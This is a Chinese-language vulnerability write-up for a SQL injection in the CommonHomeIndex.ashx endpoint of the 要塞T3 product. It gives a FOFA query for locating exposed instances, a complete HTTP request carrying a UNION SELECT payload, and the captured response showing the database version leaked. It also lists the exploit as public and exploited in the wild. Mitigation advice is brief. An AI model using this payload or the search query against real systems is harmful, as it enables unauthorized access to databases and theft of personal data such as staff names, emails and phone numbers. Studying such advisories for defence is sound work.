

要塞T3 CommonHomeIndex SQL注入漏洞

漏洞描述

要塞T3 CommonHomeIndex处存在 SQL注入漏洞，攻击者可以利用该漏洞执行任意 SQL 查询，可能导致敏感数据泄露或数据库被完全控制。

影响版本

要塞T3

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: body="T3/MAIN/Login.aspx"

POC/EXP:

```
GET /frame/CommonHomeIndex.ashx?
action=getdeptpersonList&Id=%27%20UNION%20ALL%20SELECT%20NULL%2C%40%40version%2CN
ULL%2CNULL%2CNULL-- HTTP/1.1
Host: 127.0.0.1
Accept-Language: zh-CN,zh;q=0.9
Cookie: ASP.NET_SessionId=rkpt0wdmsypmz0aaer2cj3cw
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
```

发送请求

强制 HTTPS

历史

爆破示例

数据包扫描

美化

热加载

构造请求

Request

1 GET /frame/CommonHomeIndex.ashx?action=getdeptpersonList&Id=%27%20UNION%20ALL%20SELECT%20NULL%2C%40%40version%2CNULL%2CNULL%2CNULL-- HTTP/1.1

2 Host :

3 Accept-Language: zh-CN,zh;q=0.9

4 Cookie: ASP.NET_SessionId=rkpt0wdmsympz0aaer2cj3cw

5 Upgrade-Insecure-Requests: 1

6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36

7 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

8 Accept-Encoding: gzip, deflate

9

10

Responses 751bytes / 90ms

美化

编码

详情

1 HTTP/1.1 200 OK

2 Date: Fri, 14 Mar 2025 08:36:29 GMT

3 Server: Microsoft-IIS/6.0

4 X-Powered-By: ASP.NET

5 X-AspNet-Version: 4.0.30319

6 Cache-Control: private

7 Content-Type: text/plain; charset=utf-8

8 Content-Length: 751

9

10 <table border="0" cellpadding="0" cellspacing="0" class="gridtwo" id="tabletwo"><thead><tr><td style="width: 35px; text-align: center;"><label id="checkAlloff2" onclick="CheckAllLineYuanGong()" title="全选"> </label></td><td title="用户编号">用户编号</td><td title="用户姓名">用户姓名</td><td title="邮箱">邮箱</td><td title="电话">电话</td></tr></thead><tbody><tr><td style="width: 35px; text-align: right;"><input type="checkbox" value="" name="checkbox2" /></td><td>Microsoft SQL Server 2005 - 6.00.1300.06 (x64)</td></tr></tbody></table>

11 + Oct 14 2005 00:35:21

12 + Copyright (c) 1988-2005 Microsoft Corporation

13 + Developer Edition (64-bit) on Windows NT 6.1 (Build 7601; Service Pack 1)

14 </td><td></td></td></td></tr></tbody></table>

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本